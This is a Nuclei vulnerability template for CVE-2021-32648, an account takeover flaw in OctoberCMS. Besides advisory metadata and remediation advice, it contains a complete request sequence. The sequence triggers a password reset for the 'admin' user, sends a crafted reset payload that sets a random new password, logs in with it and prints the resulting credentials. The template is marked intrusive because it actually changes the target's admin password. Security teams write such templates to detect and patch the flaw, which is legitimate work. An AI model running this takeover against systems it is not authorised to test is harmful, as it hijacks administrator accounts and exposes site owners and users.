id: CVE-2021-32648
info:
name: OctoberCMS - Account Takeover
author: daffainfo
severity: high
description: |
octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.
impact: |
Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request.
remediation: |
Upgrade to October CMS Build 472 or v1.1.5 or later.
reference:
- https://github.com/octobercms/october/security/advisories/GHSA-mxr5-mc97-63rc
- https://github.com/Immersive-Labs-Sec/CVE-2021-32648
- https://nvd.nist.gov/vuln/detail/CVE-2021-32648
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2021-32648
cwe-id: CWE-287,NVD-CWE-Other
epss-score: 0.93036
epss-percentile: 0.99792
cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: octobercms
product: october
shodan-query: http.component:"october cms"
tags: cve,cve2021,cms,octobercms,intrusive,kev,vkev,vuln
variables:
reset_token: "{{rand_base(42)}}"
username: "admin"
password: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /backend/backend/auth/restore HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "'
internal: true
- raw:
- |
POST /backend/backend/auth/restore HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_token={{csrf_token}}&postback=1&login={{username}}
- |
POST /backend/backend/auth/reset/1/{{reset_token}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"_token":"{{csrf_token}}","postback":1,"id":1,"code":true,"password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /backend/backend/auth/signin HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "_session_key","_token","Login")'
- 'contains(content_type, "text/html")'
condition: and
internal: true
extractors:
- type: regex
name: session_key
part: body
group: 1
regex:
- ''
internal: true
- raw:
- |
POST /backend/backend/auth/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_session_key={{session_key}}&_token={{csrf_token}}&postback=1&login={{username}}&password={{password}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "october_session="
- "admin_auth="
condition: and
- type: status
status:
- 302
extractors:
- type: dsl
dsl:
- '"Username: " + username + ". Password: "+ password'
# digest: 4a0a00473045022100e1c13ef0a2299d39ff2d4722bb213d1ed88c0c8500e877d4d9a401713aa7a77702204cc1ef1e8c2af045d541216d8e1040af34557235bb1e75ae9e6746cf06c69616:922c64590222798bb761d5b6d8e72950